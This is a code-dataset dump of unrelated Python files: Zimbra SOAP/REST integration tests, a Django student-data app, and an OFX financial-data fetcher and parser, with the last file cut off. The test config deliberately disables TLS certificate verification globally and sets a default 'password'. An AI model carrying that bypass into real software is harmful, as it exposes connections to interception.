@classmethod\n def setUpClass(cls):\n # Login/connection is done at class initialization to reduce tests time\n cls.zc = ZimbraAccountClient(TEST_CONF['host'])\n cls.zc.login(TEST_CONF['lambda_user'], TEST_CONF['lambda_password'])\n\n def tearDown(self):\n # Delete the test signature (if any)\n for i in ('unittest', 'unittest1'):\n try:\n self.zc.request('DeleteSignature', {'signature': {'name': i}})\n except ZimbraSoapServerError as e:\n if 'no such signature' in str(e):\n pass\n else:\n raise\n\n def test_create_signature(self):\n sig_name = 'unittest'\n sig_content = 'TEST CONTENT'\n sig = self.zc.create_signature(sig_name, sig_content)\n\n self.assertIsInstance(sig, Signature)\n self.assertTrue(utils.is_zuuid(sig.id))\n self.assertEqual(sig.name, sig_name)\n return sig\n\n def test_create_signature_with_xml_content(self):\n sig_name = 'unittest'\n sig_content = '&nbsp;'\n sig = self.zc.create_signature(sig_name, sig_content)\n\n self.assertIsInstance(sig, Signature)\n self.assertTrue(utils.is_zuuid(sig.id))\n self.assertEqual(sig.name, sig_name)\n return sig\n\n def test_delete_signature_by_name(self):\n sig = self.test_create_signature()\n self.zc.delete_signature(Signature(id=sig.id))\n\n def test_delete_signature_by_id(self):\n sig = self.test_create_signature()\n self.zc.delete_signature(Signature(name=sig.name))\n\n def test_get_all_signatures_empty(self):\n resp = self.zc.get_signatures()\n self.assertIsInstance(resp, list)\n self.assertEqual(len(resp), 0)\n\n def test_get_all_signatures_onlyone(self):\n self.zc.create_signature('unittest', 'CONTENT', \"text/html\")\n\n resp = self.zc.get_signatures()\n self.assertIsInstance(resp, list)\n self.assertEqual(len(resp), 1)\n\n a_sig = resp[0]\n self.assertIsInstance(a_sig, Signature)\n self.assertEqual(a_sig.name, 'unittest')\n self.assertEqual(a_sig.get_content(), 'CONTENT')\n self.assertEqual(a_sig.get_content_type(), 'text/html')\n\n def test_get_all_signatures_nonempty(self):\n self.zc.create_signature('unittest', 'CONTENT', \"text/html\")\n self.zc.create_signature('unittest1', 'CONTENT', \"text/html\")\n\n resp = self.zc.get_signatures()\n self.assertIsInstance(resp, list)\n self.assertEqual(len(resp), 2)\n\n a_sig = resp[0]\n self.assertIsInstance(a_sig, Signature)\n self.assertEqual(a_sig.name, 'unittest')\n self.assertEqual(a_sig.get_content(), 'CONTENT')\n self.assertEqual(a_sig.get_content_type(), 'text/html')\n\n def test_create_signature_special_char(self):\n self.zc.create_signature('unittest', '&nbsp;', \"text/html\")\n\n resp = self.zc.get_signatures()\n self.assertIsInstance(resp, list)\n self.assertEqual(len(resp), 1)\n\n a_sig = resp[0]\n self.assertIsInstance(a_sig, Signature)\n self.assertEqual(a_sig.name, 'unittest')\n self.assertEqual(a_sig.get_content(), '&nbsp;')\n self.assertEqual(a_sig.get_content_type(), 'text/html')\n\n def test_get_a_signature_by_signature(self):\n sig1 = self.zc.create_signature('unittest', 'CONTENT', \"text/html\")\n sig2 = self.zc.create_signature('unittest1', 'CONTENT', \"text/html\")\n\n resp = self.zc.get_signature(sig1)\n self.assertIsInstance(resp, Signature)\n self.assertEqual(resp, sig1)\n\n resp = self.zc.get_signature(sig2)\n self.assertIsInstance(resp, Signature)\n self.assertEqual(resp, sig2)\n\n def test_get_a_signature_by_name(self):\n sig1 = self.zc.create_signature('unittest', 'CONTENT', \"text/html\")\n self.zc.create_signature('unittest1', 'CONTENT', \"text/html\")\n\n resp = self.zc.get_signature(Signature(name='unittest'))\n self.assertIsInstance(resp, Signature)\n self.assertEqual(resp, sig1)\n\n def test_get_a_signature_by_name_case_insensitive(self):\n \"\"\" Zimbra considers that the signature name should be unique\n\n two signatures with same name, diferently cased is not allowed, so it's\n logical to be able to query a signature with any case.\n \"\"\"\n sig1 = self.zc.create_signature('unittest', 'CONTENT', \"text/html\")\n self.zc.create_signature('unittest1', 'CONTENT', \"text/html\")\n\n resp = self.zc.get_signature(Signature(name='unitTEST'))\n self.assertIsInstance(resp, Signature)\n self.assertEqual(resp, sig1)\n\n def test_get_a_signature_by_nonexistant_name_returns_none(self):\n resp = self.zc.get_signature(Signature(name='idonotexist'))\n self.assertEqual(resp, None)\n\n def test_get_a_signature_by_nonexistant_id_returns_none(self):\n resp = self.zc.get_signature(Signature(\n id='42428c6a-d764-479f-ae7d-d2d626b44242'))\n self.assertEqual(resp, None)\n\n def test_get_a_signature_by_id(self):\n sig1 = self.zc.create_signature('unittest', 'CONTENT', \"text/html\")\n sig2 = self.zc.create_signature('unittest1', 'CONTENT', \"text/html\")\n\n resp = self.zc.get_signature(Signature(id=sig1.id))\n self.assertIsInstance(resp, Signature)\n self.assertEqual(resp, sig1)\n\n resp = self.zc.get_signature(Signature(id=sig2.id))\n self.assertIsInstance(resp, Signature)\n self.assertEqual(resp, sig2)\n\n def test_modify_signature_content(self):\n sig1 = self.zc.create_signature('unittest', 'CONTENT', \"text/html\")\n sig1.set_content('NEW-CONTENT', \"text/plain\")\n self.zc.modify_signature(sig1)\n modified_sig1 = self.zc.get_signature(sig1)\n self.assertEqual(modified_sig1.name, 'unittest')\n self.assertEqual(modified_sig1.get_content(), 'NEW-CONTENT')\n self.assertEqual(modified_sig1._contenttype, 'text/plain')\n\n def test_modify_signature_name(self):\n sig1 = self.zc.create_signature('unittest', 'CONTENT', \"text/html\")\n sig1.name = 'renamed-unittest'\n self.zc.modify_signature(sig1)\n modified_sig1 = self.zc.get_signature(sig1)\n self.assertEqual(modified_sig1.name, 'renamed-unittest')\n self.assertEqual(modified_sig1.get_content(), 'CONTENT')\n self.assertEqual(modified_sig1._contenttype, 'text/html')\n\n # Rename it back to be sure it gets deleted in tearDown\n modified_sig1.name = 'unittest'\n self.zc.modify_signature(modified_sig1)\n\n def test_modify_signature_without_id_attribute_error(self):\n sig1 = Signature(name='foo')\n sig1.set_content('NEW-CONTENT', \"text/plain\")\n with self.assertRaises(AttributeError):\n self.zc.modify_signature(sig1)\n\n def test_get_preference(self):\n resp = self.zc.get_preference('zimbraPrefMailFlashTitle')\n self.assertIsInstance(resp, bool)\n resp = self.zc.get_preference('zimbraPrefComposeFormat')\n self.assertIsInstance(resp, (text_type, binary_type))\n resp = self.zc.get_preference('zimbraPrefCalendarDayHourEnd')\n self.assertIsInstance(resp, int)\n\n def test_get_preferences(self):\n prefs = self.zc.get_preferences()\n self.assertIsInstance(prefs, dict)\n self.assertIsInstance(prefs['zimbraPrefMailFlashTitle'], bool)\n self.assertIsInstance(prefs['zimbraPrefComposeFormat'],\n (text_type, binary_type))\n self.assertIsInstance(prefs['zimbraPrefCalendarDayHourEnd'], int)\n\n def test_get_identities(self):\n identities = self.zc.get_identities()\n self.assertIsInstance(identities, list)\n self.assertIsInstance(identities[0], Identity)\n self.assertEqual(identities[0].name, 'DEFAULT')\n self.assertTrue(utils.is_zuuid(identities[0]['zimbraPrefIdentityId']))\n\n def test_account_get_logged_in_by(self):\n admin_zc = ZimbraAdminClient(TEST_CONF['host'],\n TEST_CONF['admin_port'])\n admin_zc.login(TEST_CONF['admin_login'], TEST_CONF['admin_password'])\n\n new_zc = ZimbraAccountClient(TEST_CONF['host'])\n new_zc.get_logged_in_by(TEST_CONF['lambda_user'], admin_zc)\n\n self.assertTrue(new_zc._session.is_logged_in())\n self.assertTrue(new_zc.is_session_valid())\n\n def test_account_delegated_login(self):\n admin_zc = ZimbraAdminClient(TEST_CONF['host'],\n TEST_CONF['admin_port'])\n admin_zc.login(TEST_CONF['admin_login'], TEST_CONF['admin_password'])\n\n new_zc = ZimbraAccountClient(TEST_CONF['host'])\n new_zc.delegated_login(TEST_CONF['lambda_user'], admin_zc)\n\n self.assertTrue(new_zc._session.is_logged_in())\n self.assertTrue(new_zc.is_session_valid())\n\n def test_get_share_info(self):\n\n # No shares yes\n shares = self.zc.get_share_info()\n self.assertEqual(shares, [])\n\n # Create share\n admin_zc = ZimbraAdminClient(TEST_CONF['host'],\n TEST_CONF['admin_port'])\n admin_zc.login(TEST_CONF['admin_login'], TEST_CONF['admin_password'])\n mail_zc2 = ZimbraMailClient(\n TEST_CONF['host'], TEST_CONF['webmail_port'])\n mail_zc2.delegated_login(TEST_CONF['lambda_user2'], admin_zc)\n\n mail_zc2.modify_folder_grant(\n folder_ids=['1'],\n grantee_name=TEST_CONF['lambda_user'],\n perm='rwixd',\n gt='usr'\n )\n\n shares = self.zc.get_share_info()\n self.assertEqual(shares[0]['ownerEmail'], TEST_CONF['lambda_user2'])\n\n # Clean\n mail_zc2.modify_folder_grant(\n folder_ids=['1'],\n zid=admin_zc.get_account(\n Account(name=TEST_CONF['lambda_user'])).id,\n perm='none',\n gt='usr'\n )\n", "id": "3256942", "language": "Python", "matching_score": 2.4951822757720947, "max_stars_count": 11, "path": "tests/test_zimbra_account.py" }, { "content": "from __future__ import unicode_literals\n\"\"\" Integration tests against REST webservices (Zimbra)\n\nIt has to be tested against a zimbra server (see README.md).\n\"\"\"\n\nimport unittest\n\nfrom zimsoap.client import (ZimbraAdminClient, RESTClient,\n AccountRESTClient, AdminRESTClient)\nfrom zimsoap.zobjects import Account\nimport tests\n\nTEST_CONF = tests.get_config()\n\n\nclass RESTClientTest(unittest.TestCase):\n @classmethod\n def setUp(cls):\n cls.HOST = TEST_CONF['host']\n cls.ADMIN_LOGIN = TEST_CONF['admin_login']\n cls.ADMIN_PORT = TEST_CONF['admin_port']\n\n # Login/connection is done at class initialization to reduce tests time\n cls.zc = ZimbraAdminClient(cls.HOST, TEST_CONF['admin_port'])\n cls.zc.login(cls.ADMIN_LOGIN, TEST_CONF['admin_password'])\n\n cls.lambda_account = Account(name=TEST_CONF['lambda_user'])\n domain_name = cls.lambda_account.get_domain()\n cls.ph_key_domain1 = cls.zc.get_domain(domain_name)['zimbraPreAuthKey']\n\n def test_user_preauth_without_key_fails(self):\n with self.assertRaises(RESTClient.NoPreauthKeyProvided):\n c = AccountRESTClient(self.HOST)\n c.get_preauth_token(self.lambda_account.name)\n\n def test_user_preauth_returns_something(self):\n c = AccountRESTClient(self.HOST, preauth_key=self.ph_key_domain1)\n token = c.get_preauth_token(self.lambda_account.name)\n self.assertIsInstance(token, str)\n\n def test_user_preauth_with_wrong_user_fails(self):\n with self.assertRaises(RESTClient.RESTBackendError):\n c = AccountRESTClient(self.HOST, preauth_key=self.ph_key_domain1)\n c.get_preauth_token('<PASSWORD>@'+TEST_CONF['domain_1'])\n\n def test_admin_preauth_returns_something(self):\n c = AdminRESTClient(self.HOST, server_port=self.ADMIN_PORT,\n preauth_key=self.ph_key_domain1)\n token = c.get_preauth_token(self.ADMIN_LOGIN)\n self.assertIsInstance(token, str)\n\n def test_admin_preauth_is_valid(self):\n c = AdminRESTClient(self.HOST, server_port=self.ADMIN_PORT,\n preauth_key=self.ph_key_domain1)\n token = c.get_preauth_token(self.ADMIN_LOGIN)\n\n self.zc._session.import_session(token)\n self.assertTrue(self.zc.is_session_valid())\n", "id": "4266520", "language": "Python", "matching_score": 2.4084813594818115, "max_stars_count": 11, "path": "tests/test_REST.py" }, { "content": "from __future__ import unicode_literals\n\nfrom six.moves import configparser\nfrom os.path import join, dirname\n\n# Something you don't want to see in production, but we allow\n# bad certs with zimbra test server\nimport ssl\ntry:\n ssl._create_default_https_context = ssl._create_unverified_context\nexcept AttributeError:\n pass # Versions < 2.7.9 do not check certificates and to not have that var\n\ndefaults = {\n 'host': '192.168.33.10',\n 'server_name': 'zimbratest.example.com',\n 'admin_port': '7071',\n 'webmail_port': '443',\n 'domain_1': 'zimbratest.example.com',\n 'domain_2': 'zimbratest2.example.com',\n 'domain_3': 'zimbratest3.example.com',\n 'admin_login': '<EMAIL>',\n 'admin_password': 'password',\n 'lambda_user': '<EMAIL>',\n 'lambda_password': '<PASSWORD>',\n 'lambda_user2': '<EMAIL>',\n 'lambda_password2': '<PASSWORD>',\n 'lambda_user3': '<EMAIL>',\n 'calres1': '<EMAIL>'}\n\n\ndef get_config():\n parser = configparser.SafeConfigParser(defaults=defaults)\n parser.read(join(dirname(__file__), 'test_config.ini'))\n try:\n return {k: v for k, v in parser.items('zimbra_server')}\n except configparser.NoSectionError:\n # In case there is no file at all\n return defaults\n", "id": "11679503", "language": "Python", "matching_score": 1.2326648235321045, "max_stars_count": 11, "path": "tests/__init__.py" } ]
2.495182
Johnson-olaolu
[ { "content": "from rest_framework import serializers\nfrom .models import StudentData\n\nclass StudentDataSerializers(serializers.Serializer) :\n studentID = serializers.CharField()\n Complete1 = serializers.IntegerField()\n CompleteCIP1 = serializers.IntegerField()\n CompleteDevEnglish = serializers.IntegerField()\n CompleteDevMath = serializers.IntegerField()\n CumGPA = serializers.DecimalField(max_digits=1000000, decimal_places=5)\n CumLoanAtEntry = serializers.DecimalField(max_digits=1000000, decimal_places=5)\n Dropout = serializers.IntegerField()\n EngPlacement = serializers.IntegerField()\n EnrollmentStatus = serializers.IntegerField()\n FathersHighestGradeLevel = serializers.IntegerField()\n GatewayEnglishStatus = serializers.IntegerField()\n HSDip = serializers.IntegerField()\n HighDeg = serializers.IntegerField()\n Major1 = serializers.IntegerField()\n NumColCredAcceptTransfer = serializers.IntegerField()\n NumColCredAttemptTransfer = serializers.IntegerField()\n TermGPA = serializers.DecimalField(max_digits=1000000, decimal_places=5)\n TotalGrant = serializers.DecimalField(max_digits=1000000, decimal_places=5)\n TotalScholarship = serializers.DecimalField(max_digits=1000000, decimal_places=5)\n TotalLoan = serializers.DecimalField(max_digits=1000000, decimal_places=5)\n TotalWorkStudy = serializers.DecimalField(max_digits=1000000, decimal_places=5)", "id": "6092830", "language": "Python", "matching_score": 4.987100601196289, "max_stars_count": 0, "path": "backend/predictor/serializers.py" }, { "content": "from django.db import models\n\n# Create your models here.\nclass StudentDataDropout(models.Model) :\n studentID = models.CharField(max_length=100000) \n Complete1 = models.IntegerField()\n CompleteCIP1 = models.IntegerField()\n CompleteDevEnglish = models.IntegerField()\n CompleteDevMath = models.IntegerField()\n CumGPA = models.DecimalField(max_digits=1000000, decimal_places=5)\n CumLoanAtEntry = models.DecimalField(max_digits=1000000, decimal_places=5)\n Dropout = models.IntegerField(blank=True)\n EngPlacement = models.IntegerField()\n EnrollmentStatus = models.IntegerField()\n FathersHighestGradeLevel = models.IntegerField()\n GatewayEnglishStatus = models.IntegerField()\n HSDip = models.IntegerField()\n HighDeg = models.IntegerField()\n Major1 = models.IntegerField()\n NumColCredAcceptTransfer = models.IntegerField()\n NumColCredAttemptTransfer = models.IntegerField()\n TermGPA = models.DecimalField(max_digits=1000000, decimal_places=5)\n TotalGrant = models.DecimalField(max_digits=1000000, decimal_places=5)\n TotalScholarship = models.DecimalField(max_digits=1000000, decimal_places=5)\n TotalLoan = models.DecimalField(max_digits=1000000, decimal_places=5)\n TotalWorkStudy = models.DecimalField(max_digits=1000000, decimal_places=5)\n", "id": "1365831", "language": "Python", "matching_score": 5.252864837646484, "max_stars_count": 0, "path": "backend/recommender/models.py" }, { "content": "# Generated by Django 4.0.1 on 2022-01-17 11:53\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='StudentData',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('studentID', models.CharField(max_length=100000)),\n ('Complete1', models.IntegerField()),\n ('CompleteCIP1', models.IntegerField()),\n ('CompleteDevEnglish', models.IntegerField()),\n ('CompleteDevMath', models.IntegerField()),\n ('CumGPA', models.DecimalField(decimal_places=5, max_digits=1000000)),\n ('CumLoanAtEntry', models.DecimalField(decimal_places=5, max_digits=1000000)),\n ('Dropout', models.IntegerField(blank=True)),\n ('EngPlacement', models.IntegerField()),\n ('EnrollmentStatus', models.IntegerField()),\n ('FathersHighestGradeLevel', models.IntegerField()),\n ('GatewayEnglishStatus', models.IntegerField()),\n ('HSDip', models.IntegerField()),\n ('HighDeg', models.IntegerField()),\n ('Major1', models.IntegerField()),\n ('NumColCredAcceptTransfer', models.IntegerField()),\n ('NumColCredAttemptTransfer', models.IntegerField()),\n ('TermGPA', models.DecimalField(decimal_places=5, max_digits=1000000)),\n ('TotalGrant', models.DecimalField(decimal_places=5, max_digits=1000000)),\n ('TotalScholarship', models.DecimalField(decimal_places=5, max_digits=1000000)),\n ('TotalLoan', models.DecimalField(decimal_places=5, max_digits=1000000)),\n ('TotalWorkStudy', models.DecimalField(decimal_places=5, max_digits=1000000)),\n ],\n ),\n ]\n", "id": "10282143", "language": "Python", "matching_score": 0.6735615730285645, "max_stars_count": 0, "path": "backend/predictor/migrations/0001_initial.py" }, { "content": "from django.contrib import admin\nfrom .models import StudentDataDropout\n\n# Register your models here.\nadmin.site.register(StudentDataDropout)", "id": "8068893", "language": "Python", "matching_score": 0.012303265742957592, "max_stars_count": 0, "path": "backend/recommender/admin.py" }, { "content": "from django.shortcuts import render\nfrom .serializers import StudentDataSerializers\nfrom .models import StudentData\nfrom django.views.decorators.csrf import csrf_exempt\n# from rest_framework.decorators import api_views\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.views import APIView\n# Create your views here.\n\n\nclass StudentDataAPIView(APIView) :\n\n def get(self, request) :\n student_data = StudentData.objects.all()\n serializer = StudentDataSerializers(student_data, many = True)\n return Response(serializer.data)\n\n def post(self, request) :\n print (request.FILES['file'])\n return Response({})", "id": "2330177", "language": "Python", "matching_score": 2.1883745193481445, "max_stars_count": 0, "path": "backend/predictor/views.py" }, { "content": "from django.urls import path\nfrom .views import StudentDataAPIView\n\nurlpatterns = [\n path('predictor/', StudentDataAPIView.as_view())\n]", "id": "6936210", "language": "Python", "matching_score": 0.6745812296867371, "max_stars_count": 0, "path": "backend/predictor/urls.py" } ]
1.431478
finarrow
[ { "content": "import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"ofxdb\",\n version=\"0.0.2\",\n author=\"<NAME>\",\n author_email=\"<EMAIL>\",\n description=\"DB Generator for OFX Financial Statement Data\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/finarrow/ofxdb\",\n packages=[\"ofxdb\"],\n classifiers=[\n \"Development Status :: 1 - Planning\",\n \"Environment :: Console\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Intended Audience :: Developers\",\n \"Topic :: Office/Business :: Financial :: Investment\"\n ],\n python_requires=\">=3.7\",\n install_requires=[\"ofxtools>=0.8.20\", \"pandas>=1.0.1\", \"keyring>=21.1.0\"],\n)\n", "id": "1713662", "language": "Python", "matching_score": 1.3524703979492188, "max_stars_count": 2, "path": "setup.py" }, { "content": "#!python\n\"\"\"OFX data extraction module.\n\nRuns ofxget command line tool to retrieve OFX files from financial institutions. Saves files to\ndatabase directory defined in cfg.py.\n\"\"\"\nimport os\nimport datetime\n\nfrom ofxdb.data import accounts\nfrom ofxdb import cfg\n\n# -----------------------------------------------------------------------------\n# -- File fetch method\n# -----------------------------------------------------------------------------\n_OFXGET_CMD = 'ofxget'\n_OFXGET_USER_ARG = '-u'\n_MULTI_OFX_TYPES = ['stmt']\n_MULTI_OFX_ARGS = ' --all'\n\n\n# TODO(ricrosales): Migrate to using ofxtools class to fetch instead of ofxget command line.\ndef fetch_file(ofx_type: str, server: str, user: str, verbose: bool = False) -> str:\n \"\"\"Fetch OFX file from financial institutions server.\n\n Args:\n ofx_type: File type to fetch.\n server: ofxtools server nickname for financial institution.\n user: User name to fetch file for.\n verbose: Enable verbosity.\n\n Returns:\n A string containing ofx file contents. File has nested xml structure depending on file type.\n \"\"\"\n ofx_type = ofx_type.lower()\n cmd = f'{_OFXGET_CMD} {ofx_type} {server} {_OFXGET_USER_ARG} {user}'\n if ofx_type in _MULTI_OFX_TYPES:\n cmd += _MULTI_OFX_ARGS\n if verbose:\n print(cmd)\n stream = os.popen(cmd)\n return stream.read()\n\n\n# -----------------------------------------------------------------------------\n# -- File write method\n# -----------------------------------------------------------------------------\n_FILE_DATETIME = '%Y%m%d-%H%M%S'\n\n\n# TODO(ricrosales): Create symlink to current instead of copying file.\ndef write_file(\n ofx_file: str,\n ofx_type: str,\n server: str,\n user: str,\n db_dir: str = cfg.DB_DIR) -> None:\n \"\"\"Write OFX file to disk.\n\n In addition to writing the file to the disk will write a copy with prefix \"current\" that is used\n downstream to identify the most recent file.\n\n Directory structure is enforced with full paths like:\n db_dir/ofx_type/YYYYMMDD-HHMMSS_server_user.ofx\n db_dir/ofx_type/current_server_user.ofx\n\n Args:\n ofx_file: OFX file as string.\n ofx_type: File type to fetch.\n server: ofxtools server nickname for financial institution.\n user: User name to fetch file for.\n db_dir: Database directory base path.\n\n Returns:\n None\n \"\"\"\n folder = f'{db_dir}/{ofx_type}/'\n if not os.path.exists(folder):\n os.makedirs(folder)\n file_date = datetime.datetime.today().replace(tzinfo=cfg.OFX_TIMEZONE).strftime(_FILE_DATETIME)\n file_name = f'{folder}/{file_date}_{server}_{user}.{cfg.OFX_EXTENSION}'\n current_name = f'{folder}/{cfg.CURRENT_PREFIX}_{server}_{user}.{cfg.OFX_EXTENSION}'\n with open(file_name, 'w') as file_buffer:\n file_buffer.write(ofx_file)\n with open(current_name, 'w') as file_buffer:\n file_buffer.write(ofx_file)\n\n\n# -----------------------------------------------------------------------------\n# -- File write method\n# -----------------------------------------------------------------------------\n_OFX_SUPPORTED_TYPES = ['acctinfo', 'stmt']\n\n\ndef extract(verbose: bool = False) -> None:\n \"\"\"Extract all OFX data for all users and servers in the ofxtools user config.\n\n Args:\n verbose: Enable verbosity.\n\n Returns:\n None\n \"\"\"\n user_cfg = accounts.get_user_cfg()\n for server, server_config in user_cfg.items():\n if server != cfg.OFXGET_DEFAULT_SERVER:\n user = server_config[cfg.OFXGET_CFG_USER_LABEL]\n for ofx_type in _OFX_SUPPORTED_TYPES:\n ofx_file = fetch_file(ofx_type=ofx_type, server=server, user=user, verbose=verbose)\n write_file(ofx_file=ofx_file, ofx_type=ofx_type, server=server, user=user)\n\n\nif __name__ == '__main__':\n\n extract(verbose=True)\n", "id": "1959016", "language": "Python", "matching_score": 3.0266318321228027, "max_stars_count": 2, "path": "ofxdb/data/extarct.py" }, { "content": "\"\"\"Package-wide configuration file\"\"\"\nimport os\nimport pathlib\nimport datetime\n\nfrom ofxtools import config as ofxtools_config\n\n# -----------------------------------------------------------------------------\n# -- Database definitions\n# -----------------------------------------------------------------------------\nDB_HOME = os.environ.get('HOME')\nDB_DIR = f'{DB_HOME}/ofxdb'\nCURRENT_PREFIX = 'current'\nOFX_EXTENSION = 'ofx'\n\n# -----------------------------------------------------------------------------\n# -- ofxget definitions\n# -----------------------------------------------------------------------------\nOFXGET_CFG = ofxtools_config.USERCONFIGDIR / 'ofxget.cfg'\nOFXGET_CFG_USER_LABEL = 'user'\nOFXGET_DEFAULT_SERVER = 'DEFAULT'\n\n# -----------------------------------------------------------------------------\n# -- datetime definitions\n# -----------------------------------------------------------------------------\nOFX_TIMEZONE = datetime.timezone.utc\n\n# -----------------------------------------------------------------------------\n# -- System table definitions\n# -----------------------------------------------------------------------------\nAUX_TABLES_DIR = f'{os.path.dirname(pathlib.Path(__file__).absolute())}/aux_tables'\n", "id": "2358635", "language": "Python", "matching_score": 1.6852811574935913, "max_stars_count": 2, "path": "ofxdb/cfg.py" }, { "content": "\"\"\"OFX account module.\n\nContains methods used to retrieve account details from the ofxtools generated ofxget.cfg file.\n\"\"\"\nfrom typing import List\nfrom configparser import ConfigParser\n\nfrom ofxdb import cfg\n\n# -----------------------------------------------------------------------------\n# -- User config parsing class\n# -----------------------------------------------------------------------------\n\n\ndef convert_list(string: str) -> List[str]:\n \"\"\"Convert INI list representation to a Python list.\"\"\"\n return [sub.strip() for sub in string.split(\",\")]\n\n\nclass UserConfig(ConfigParser):\n \"\"\"User config class. Extends ConfigParser with converter for INI list representation.\"\"\"\n def __init__(self, *args, **kwargs):\n kwargs[\"converters\"] = {\"list\": convert_list}\n super().__init__(*args, **kwargs)\n\n\n# -----------------------------------------------------------------------------\n# -- User config parsing method\n# -----------------------------------------------------------------------------\n\n\ndef get_user_cfg() -> UserConfig:\n \"\"\"Retrieve user config from ofxget.cfg file.\"\"\"\n user_cfg = UserConfig()\n user_cfg.read(cfg.OFXGET_CFG)\n return user_cfg\n\n\nif __name__ == '__main__':\n pass\n", "id": "5880244", "language": "Python", "matching_score": 1.4647421836853027, "max_stars_count": 2, "path": "ofxdb/data/accounts.py" }, { "content": "#!python\n\"\"\"OFX file aggregation module.\n\nRetrieves the latest OFX files for all institutions and appends them to the corresponding table.\n\nLoads data into 5 aux_tables (see docs for descriptions):\naccount_info.csv\nbalances.csv\npositions.csv\nsecurities.csv\ntransactions.csv\n\"\"\"\nimport os\nimport datetime\nfrom decimal import Decimal\nfrom typing import Union, List\n\nimport pandas as pd\nfrom ofxtools.Parser import OFXTree\nfrom ofxtools.models import Aggregate, SubAggregate\n\nfrom ofxdb.data import accounts\nfrom ofxdb.utils import file_util\nfrom ofxdb import cfg\n\n# -----------------------------------------------------------------------------\n# -- Module-wide object definitions\n# -----------------------------------------------------------------------------\n_OFXToolsBaseModel = Union[Aggregate, SubAggregate]\n_OFXToolsElement = Union[_OFXToolsBaseModel, str, Decimal, datetime.datetime, None]\n\n# -----------------------------------------------------------------------------\n# -- ofxtools model parsing helper methods\n# -----------------------------------------------------------------------------\n\n\ndef getattr_mask(element: _OFXToolsBaseModel, attribute: str) -> Union[_OFXToolsElement, None]:\n \"\"\"Mask for getattr method.\n\n Used to handle errors that are thrown when getattr fails due to encountering an ofxtools model\n that has no length. This can happen for example when there exists an account that was opened but\n never had transactions.\n\n For example, a KeyError thrown for the following elements:\n <INVTRANLIST dtstart='2018-05-25 18:01:21+00:00' dtend='2020-05-22 00:00:00+00:00' len=0>\n <INVPOSLIST()>\n\n Args:\n element: ofxtools model\n attribute: ofxtools model class attribute string\n\n Returns:\n An ofxtools element. Can be a new element or a leaf of the xml structure.\n \"\"\"\n try:\n return getattr(element, attribute)\n except KeyError as _:\n return None\n\n\ndef get_ofx_attrs(element: _OFXToolsBaseModel) -> List[str]:\n \"\"\"Get ofxtools object attributes.\n\n Excludes callable attributes, attributes that are inherited from the Aggregate class, and\n any private class attributes.\n\n Args:\n element: ofxtools model\n\n Returns:\n List of attribute strings\n \"\"\"\n return [\n attribute for attribute in dir(element)\n if not callable(getattr_mask(element, attribute)) and\n not attribute.startswith('_') and\n attribute not in dir(Aggregate)\n ]\n\n\ndef is_ofx_model(element: _OFXToolsElement) -> bool:\n \"\"\"Check if element is an ofxtools model.\n\n This is a wrapper for isinstance that accounts for _OFXToolsBaseModel being a Union generic\n type.\n\n Args:\n element: ofxtools element tree element.\n\n Returns:\n True or False\n \"\"\"\n if isinstance(element, _OFXToolsBaseModel.__args__):\n return True\n return False\n\n\n# -----------------------------------------------------------------------------\n# -- ofxtools model record generation helper methods\n# -----------------------------------------------------------------------------\n\n\ndef append_model_records(element: _OFXToolsElement, record: dict, key: str) -> dict:\n \"\"\"Recursively append OFX model attributes -> value pair to record dictionary.\n\n Args:\n element: ofxtools element tree element.\n record: ofxtools model attribute -> value dictionary.\n key: Record key for element.\n\n Returns:\n Appended record dictionary.\n\n Raises:\n KeyError: Encountered duplicate key (should not occur by OFX spec)\n ValueError: Encountered unrecognized type for leaf\n \"\"\"\n if is_ofx_model(element):\n for sub_element in get_ofx_attrs(element):\n new_element = getattr_mask(element, sub_element)\n if new_element is not None:\n record = append_model_records(element=new_element, record=record, key=sub_element)\n else:\n if key in record:\n raise KeyError(f'Key ({key}) for element ({element}) already in record\\n{record}')\n if isinstance(element, Decimal):\n record[key] = float(element)\n elif isinstance(element, str):\n record[key] = str(element)\n elif isinstance(element, datetime.datetime):\n record[key] = element.replace(tzinfo=cfg.OFX_TIMEZONE)\n elif element is None:\n return record\n else:\n raise ValueError(f'Unknown type ({type(element)}) encountered.')\n\n return record\n\n\ndef get_model_record(ofx_model: _OFXToolsBaseModel, acct_info: dict) -> dict:\n \"\"\"Get record from OFX model attributes.\n\n Args:\n ofx_model: ofxtools model.\n acct_info: Account information dict (date, datetime, server, user, acctid).\n\n Returns:\n Model record with attribute key -> value pairs. All records seeded with account information.\n \"\"\"\n record = acct_info.copy()\n for ofx_attr in get_ofx_attrs(ofx_model):\n element = getattr_mask(ofx_model, ofx_attr)\n if element is not None:\n record = append_model_records(element=element, record=record, key=ofx_attr)\n return record\n\n\ndef get_list_records(ofx_models: List[_OFXToolsBaseModel], acct_info: dict) -> List[dict]:\n \"\"\"Get records from list of OFX models.\n\n Args:\n ofx_models: List of ofxtools models.\n acct_info: Account information dict (date, datetime, server, user, acctid).\n\n Returns:\n List of model records with attribute key -> value pairs.\n \"\"\"\n return [get_model_record(model, acct_info) for model in ofx_models]\n\n\n# -----------------------------------------------------------------------------\n# -- Model processing helper methods\n# -----------------------------------------------------------------------------\n_INDEX_COL = 'datetime'\n_OFX_ACCTID = 'acctid'\n\n\ndef generate_records(\n ofx_model: Union[_OFXToolsBaseModel, List[_OFXToolsBaseModel]],\n acct_info: dict) -> List[dict]:\n \"\"\"Get records from OFX object attributes.\n\n This is a wrapper for get_list_records to handle generating one or multiple records.\n\n Args:\n ofx_model: ofxtools model or list of ofxtools models.\n acct_info: Account information dict (date, datetime, server, user, acctid).\n\n Returns:\n A list of records with model attribute key -> value pairs.\n \"\"\"\n if len(ofx_model) > 0:\n # We check for len > 0 here to cover the case where ofx_model is a list of models and the\n # case where ofx_model is a generator of models (e.g. transactions, positions, etc.).\n return get_list_records(ofx_models=ofx_model, acct_info=acct_info)\n return [get_model_record(ofx_model=ofx_model, 